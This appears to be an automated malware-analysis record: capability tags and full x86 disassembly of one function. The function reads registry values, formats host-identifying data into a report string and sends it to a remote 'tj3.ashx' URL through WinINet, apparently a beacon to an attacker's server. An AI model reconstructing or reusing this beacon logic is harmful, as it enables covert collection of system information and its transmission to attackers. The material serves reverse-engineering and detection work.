Function at 0x420060
Capabilities:
Create http request
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x36e0
call fcn.00438220
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x36dc], 0
push 0xffe
push eax
mov word [ebp - 0x2668], ax
mov esi, ecx
lea eax, [ebp - 0x2666]
push eax
call fcn.0042e710
lea eax, [ebp - 0x2668]
mov dword [ebp - 0x36e0], 0
push eax
lea edx, [ebp - 0x36dc]
lea ecx, [ebp - 0x36e0]
call fcn.0041f150
add esp, 0x10
cmp dword [ebp - 0x36e0], 0
jne 0x420106
lea eax, [ebp - 0x2668]
push eax
lea edx, [ebp - 0x36dc]
lea ecx, [ebp - 0x36e0]
call fcn.0041f600
add esp, 4
cmp dword [ebp - 0x36e0], 0
jne 0x420106
call fcn.0041fec0
neg eax
sbb eax, eax
and eax, 0xfffffff5
add eax, 0xb
mov dword [esi], eax
jmp 0x42010c
mov dword [esi], 2
mov ecx, esi
call fcn.0041fde0
xor eax, eax
mov dword [ebp - 0x36e0], 0
push 0x62
push eax
mov word [ebp - 0x90], ax
xor ebx, ebx
lea eax, [ebp - 0x8e]
push eax
call fcn.0042e710
add esp, 0xc
lea eax, [ebp - 0x90]
push eax
call fcn.0041fcf0
call fcn.0041fa70
mov edi, eax
lea eax, [ebp - 0xf4]
push edi
push 0x443cc0
push eax
call fcn.0041f0f0
xor eax, eax
xorps xmm0, xmm0
push 0xa
mov word [ebp - 0x2c], ax
mov word [ebp - 0x1a], ax
mov word [ebp - 0x18], ax
mov word [ebp - 6], ax
lea eax, [ebp - 0x2c]
push 0xa
push eax
push dword [esi]
movdqu xmmword [ebp - 0x2a], xmm0
movdqu xmmword [ebp - 0x16], xmm0
call fcn.0042ce93
push 0xa
push 0xa
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x36dc]
call fcn.0042ce93
push 0x474024
push 0x474028
push 0x474010
push 0x474038
push 0x474034
push 0x474000
push 0x474124
push 0x47403c
push 0x474024
push 0x474000
push 0x474034
push 0x474034
push 0x474040
push 0x4740d8
lea eax, [ebp - 0x36b8]
mov dword [ebp - 0x36b8], 0x5c
push eax
push 0x47411c
push 0x474104
lea eax, [ebp - 0x36c0]
mov dword [ebp - 0x36c0], 0x20
push eax
push 0x474038
push 0x474048
push 0x474028
push 0x473ffc
push 0x474024
push 0x474010
push 0x474128
lea eax, [ebp - 0x36b8]
push eax
push 0x47403c
push 0x474004
push 0x474028
push 0x474038
push 0x474028
push 0x474034
push 0x473ff8
push 0x474010
push 0x474100
push eax
push 0x4740e0
push 0x474114
push 0x4740d0
push 0x474128
push 0x47411c
push 0x4740e4
push 0x474108
push 0x474118
lea eax, [ebp - 0x620]
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
push eax
call fcn.00413aa0
add esp, 0xe4
lea eax, [ebp - 0x2bc]
push 0x474000
push 0x47403c
push str.abcdefghijklmnopqrstuvwxyz:_._____:_._____ABCDEFGHIJKLMNOPQRSTUVWXYZ
push 0x4740dc
push 0x47401c
push 0x47401c
push str.abcdefghijklmnopqrstuvwxyz:_._____:_._____ABCDEFGHIJKLMNOPQRSTUVWXYZ
push 0x47403c
push 0x474038
push 0x474024
push 0x4740f0
push str._s_s_s_s_s_s_s_s_s_s_s
push eax
call fcn.00413aa0
add esp, 0x34
mov dword [ebp - 0x36bc], ebx
lea eax, [ebp - 0x36dc]
mov dword [ebp - 0x36b4], 4
push eax
push 0x20119
push ebx
lea eax, [ebp - 0x620]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42035c
lea eax, [ebp - 0x36b4]
push eax
lea eax, [ebp - 0x36bc]
push eax
lea eax, [ebp - 0x36c8]
push eax
push ebx
lea eax, [ebp - 0x2bc]
push eax
push dword [ebp - 0x36dc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x36dc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x36bc]
lea eax, [ebp - 0x2bc]
push 0x449e64
push eax
call fcn.00413aa0
lea eax, [ebp - 0x2bc]
push eax
lea eax, [edi + 0x548e]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x36b0]
push str.m:__s_b:__s_mc:__s_du:_d_u911o9__s__8kojxf
push eax
call fcn.00413e10
add esp, 0x28
lea eax, [ebp - 0x36b0]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jle 0x4207d5
lea eax, [edi + 1]
push eax
call fcn.0042a219
mov esi, eax
add esp, 4
test esi, esi
je 0x4207d5
lea eax, [edi + 1]
push eax
push 0
push esi
call fcn.0042e710
add esp, 0xc
lea eax, [ebp - 0x36b0]
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
call fcn.00401000
call fcn.00401020
test eax, eax
jne 0x420422
xor edi, edi
call fcn.00401040
jmp 0x4207a5
mov ecx, eax
call fcn.004237b0
mov edi, eax
test edi, edi
jne 0x420439
call fcn.00401040
jmp 0x4207a5
call fcn.00401040
push 0x449ec8
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.00429ebe
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push 0x449ec8
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push 0x449ec8
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push edi
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
add esp, 0x48
lea eax, [ebp - 0x1668]
push 0x449ecc
push 0x824
push eax
call fcn.0042a175
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push 0x449ec8
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push 0x449ec8
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
lea eax, [ebp - 0x2668]
push eax
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
add esp, 0x48
lea eax, [ebp - 0x1668]
push 0x449ec8
push 0x824
push eax
call fcn.0042a175
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push 0x449ed4
push 0x824
lea eax, [ebp - 0x1668]
push eax
call fcn.0042a175
add esp, 0x24
lea edx, [ebp - 0x36dc]
lea ecx, [ebp - 0x1668]
call fcn.0041fff0
cmp dword [ebp - 0x36dc], ebx
je 0x4207a5
push 0x1ff
lea eax, [ebp - 0x4bb]
mov byte [ebp - 0x4bc], bl
push 0
push eax
call fcn.0042e710
add esp, 0xc
cmp dword [0x475d64], ebx
je 0x4207a5
mov edx, dword [ebp - 0x36dc]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x36b4], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4205f0
sub ecx, dword [ebp - 0x36b4]
lea eax, [ebp - 0x4bc]
push ecx
push edx
push eax
call fcn.004027c0
push dword [ebp - 0x36dc]
call fcn.0042a534
add esp, 4
lea ecx, [ebp - 0x4bc]
call fcn.0041ff90
mov dword [ebp - 0x36dc], eax
test eax, eax
je 0x4207a5
push 0x200
lea eax, [ebp - 0x4bc]
push 0
push eax
call fcn.0042e710
mov edx, dword [ebp - 0x36dc]
add esp, 0xc
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x36b4], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420660
sub ecx, dword [ebp - 0x36b4]
lea eax, [ebp - 0x4bc]
push ecx
push edx
push eax
call fcn.004027c0
push dword [ebp - 0x36dc]
call fcn.0042a1e1
add esp, 4
lea ecx, [ebp - 0x4bc]
call fcn.004237b0
mov dword [ebp - 0x36b4], eax
test eax, eax
je 0x4207a5
push dword [0x47604c]
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.00429ebe
push str.tj3.ashx_d
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
push dword [ebp - 0x36b4]
lea eax, [ebp - 0x1668]
push 0x824
push eax
call fcn.0042a175
add esp, 0x24
lea eax, [ebp - 0x36d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
push 0xc6
push eax
mov word [ebp - 0x1bc], ax
lea eax, [ebp - 0x1ba]
push eax
call fcn.0042e710
movzx eax, word [ebp - 0x36d2]
push eax
movzx eax, word [ebp - 0x36d6]
push eax
lea eax, [ebp - 0x1bc]
push str.4177_REPORT__d__d
push eax
call fcn.00403170
add esp, 0x1c
lea eax, [ebp - 0x1bc]
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x36e0], eax
test eax, eax
je 0x4207a5
push 0
push SysReAllocString
push 0
push 0
lea ecx, [ebp - 0x1668]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, eax
test ebx, ebx
je 0x4207a5
lea eax, [ebp - 0x36c4]
mov dword [ebp - 0x36c4], 0
push eax
push 0x64
lea eax, [ebp - 0x520]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4207a5
push 0x448720
call fcn.0042d30b
add esp, 4
push esi
call fcn.0042a1e1
add esp, 4
test edi, edi
je 0x4207bb
push edi
call fcn.0042a1e1
add esp, 4
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x4207c8
push ebx
call esi
mov eax, dword [ebp - 0x36e0]
test eax, eax
je 0x4207d5
push eax
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret